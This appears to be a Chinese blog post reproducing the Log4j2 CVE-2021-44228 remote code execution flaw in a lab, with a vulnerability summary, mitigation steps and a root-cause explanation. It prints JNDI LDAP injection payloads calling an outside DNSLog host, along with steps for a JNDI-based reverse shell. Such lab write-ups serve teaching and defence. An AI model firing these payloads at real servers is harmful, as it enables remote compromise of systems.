首页 > 其他分享 >漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞

时间:2023-08-04 17:34:50浏览次数:65  
标签:修复 JNDI 漏洞 代码执行 日志 Log4j2 2021

Log4j2远程代码执行漏洞研究报告

一、漏洞信息搜集

1.1 漏洞信息表

漏洞名称

Log4j2远程代码执行漏洞

发布时间

2021年12月10日

漏洞编号

CVE-2021-44228

威胁类型

远程代码执行

危害级别

高危

影响版本

Apache Log4j2 2.0 - 2.15.0-rc1

漏洞描述

产品介绍:Apache Log4j是一个Java日志框架,用于在应用程序中生成日志消息。它是Apache软件基金会的一个开源项目,提供了一个灵活且可配置的日志记录解决方案。

Log4j的主要目标是帮助开发人员记录和管理应用程序中的关键信息。通过在代码中插入适当的日志语句,开发人员可以捕捉程序运行时的各种事件和状态信息。这些日志消息可以用于调试、故障排除、性能分析以及记录重要的业务操作。

漏洞概述:这是一个Apache Log4j 2.x的远程代码执行漏洞,这个漏洞已经被广泛利用,因为Log4j是一个常用的Java日志记录库,很多应用程序都使用它来记录日志。由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

危害说明:攻击者可以通过构造恶意的请求,向受影响的服务器发送特殊的数据包,从而导致服务器执行远程代码。

漏洞指纹

常用端口/协议:不基于端口或协议

请求参数/关键路径(漏洞入口):

漏洞验证与利用

POC:

EXP:

集成工具:

修复建议

正式修复方案:

临时修复方案:

参考链接

文章标题:链接






二、漏洞快速验证

2.1 漏洞靶机搭建

Log4j2 2.14.1

CC 3.2.1

方法一:直接加载漏洞环境(推荐)

在线靶场:vulfocus(http://vulfocus.io/#/dashboard)


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache






在vulfocus靶场中找到Apache Log4j2远程命令执行(CVE-2021-44228)并启动

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_docker_02





方法二:

1.安装docker和docker-compose

sudo apt-get install docker

sudo apt-get install python3-pip

pip3 install docker-compose

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_docker_03


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_docker_04



漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_05


2.2 POC漏洞验证

通过DNSLog平台(http://www.dnslog.cn/)获取到域名,构造payload ,游览器点击?????使用Burp进行抓包,并且抓包替换payload参数

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_06


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_07




替换payload为${jndi:ldap://king.2f8db4e5.dns.1433.eu.org/exp}并发包





也可以使用Burp自带的URL编码进行编码,然后再次发包

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_08


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_09









三、漏洞利用实践

EXP 1:

JNDI注入反弹shell


使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

执行EXP,生成可用的payload

码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_10


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_11




漏洞修复实践

4.1 修复方案1:临时修复方案

1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。

2.设置log4j2.formatMsgNoLookups=True。

3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。

4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。

4.2 修复方案2:标准解决方案

Apache官方发布新版本对漏洞修复

https://link.zhihu.com/?target=https%3A//github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2


(详细说明工程化的应用环境条件、具体过程以及注意事项等)

代码解析

(针对工程化程序的总体架构进行讲解,并对关键功能模块进行解析等。)



五、漏洞原理分析

漏洞原理分析

apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)


日志在打印时当遇到


由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:


${jndi:ldap://ip/port/exp}


最终效果就是通过


漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_Apache_12


整个利用流程分两步:


第一步:向目标发送指定


第二步:目标服务器收到重定向请求之后,下载恶意


关于利用LDAP服务来进行注入攻击已经不是第一次了,JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。Fastjson RCE漏洞的利用也用到LDAP注入攻击,还有其他的一些。

漏洞复现报告:CVE-2021-44228 Log4j2远程代码执行漏洞_应用程序_13


漏洞修复分析

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中

假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp

解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找

在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入

攻击者就可以通过shell实现任意的命令执行,造成严重危害

修复这个漏洞的推荐方法是升级到Log4j2版本2.17.0或更高版本。以下几个补丁方案:

将log4j-core库文件(log4j-core-2.14.1.jar)替换为修复了漏洞的版本。可以从Apache Log4j官方网站下载最新的修复版本。

移除log4j-core库文件,如果应用程序不需要此库文件的其他功能。这可以通过删除类路径中的相关Jar文件来实现。注意,这可能会影响应用程序的日志功能,因此在执行此操作前应进行测试。

在应用程序的配置文件中添加如下代码来阻止利用该漏洞的特定JNDI功能调用:

<ContextJndiFilter exclude=".*"/>

这些补丁方案可以帮助减轻漏洞的风险,最好还是尽快升级到修复了漏洞的版本,以确保系统的安全性。



标签:修复,JNDI,漏洞,代码执行,日志,Log4j2,2021
From: https://blog.51cto.com/u_15854462/6965112

相关文章

  • 漏洞复现报告:CVE-2020-2883 Weblogic反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2020年4月16日漏洞编号CVE-2020-2883威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0版......
  • CVE-2021-22205 GitLab RCE之未授权访问深入分析(一)
    文章写于2021-11-29,首发在天融信阿尔法实验室前言安全研究员vakzz于4月7日在hackerone上提交了一个关于gitlab的RCE漏洞,在当时并没有提及是否需要登录gitlab进行授权利用,在10月25日该漏洞被国外安全公司通过日志分析发现未授权的在野利用,并发现了新的利用方式。根据官方漏洞通......
  • 漏洞复现报告:CVE-2019-2890 反序列化漏洞
    OracleWebLogicServer漏洞研究报告一、漏洞信息搜集1.1漏洞信息表漏洞名称OracleWebLogicServer反序列化漏洞发布时间2019年10月16日漏洞编号CVE-2019-2890威胁类型反序列化漏洞危害级别高危影响版本OracleWebLogicServer10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0......
  • Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
    AapacheTomcatAJP文件包含漏洞(CVE-2020-1938)【项目中遇到过】1.背景简述java是目前WEB开发中主流的编程语言,而Tomcat是当前流行的Java中间件服务器之一。Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于Tomcat中的安全漏洞,由于TomcatAJP协议设计上存在缺陷,攻击者通......
  • [SWPUCTF 2021 新生赛]pop
    题目源码<?phperror_reporting(0);show_source("index.php");classw44m{private$admin='aaa';protected$passwd='123456';publicfunctionGetflag(){if($this->admin==='w44m'&&a......
  • ActiveMQ任意文件写入漏洞(CVE-2016-3088)
    ActiveMQ任意文件写入漏洞(CVE-2016-3088)【现实项目遇到过】1.环境搭建cdvulhub-master/activemq/CVE-2016-3088docker-composeup-ddocker-composeconfig#查看靶场环境相关的配置信息docker-composedown#关闭靶场环境环境监听61616端口和8161端口,其中8......
  • Minitab 2021 - 统计分析管理软件
    Minitab2021是一款功能强大的统计分析管理软件,广泛应用于质量管理、数据分析、实验设计和质量改进等领域。点击获取Minitab2021 数据导入和管理:Minitab2021提供了灵活的数据导入和管理功能,可以导入各种常见格式的数据文件,如文本文件、Excel表格、数据库等。用户可以......
  • AndroidStudio2021.3logcat工具无法显示日志解决办法
    AndroidStudio2021.3logcat工具无法显示日志解决办法 https://blog.csdn.net/weixin_43623271/article/details/127876964  1.File->setting2.搜索logcat,->ExperimentalunChkEnablenewLogcattoolwindow以后提示时Dismissit ......
  • 在行:真想见,不如付点钱 Late2021
    2020更新:666的聊天已下线,1666的还在......
  • 7DGroup 性能/测试开发/运维 系列文章更新(2021/8)
    组织织简介1、7DGroup简介性能能闲谈1、浅谈window桌面GUI技术及图像渲染性能测试实践2、杂谈:性能测试的范围到底有多大?3、戏说CPU使用率-驳《CPU使用率度量指标是扯淡!》译文标题4、对性能测试评估分析优化市场的反思5、泛谈系统级跟踪和应用级跟踪6、性能测试分析优化该有的范围7......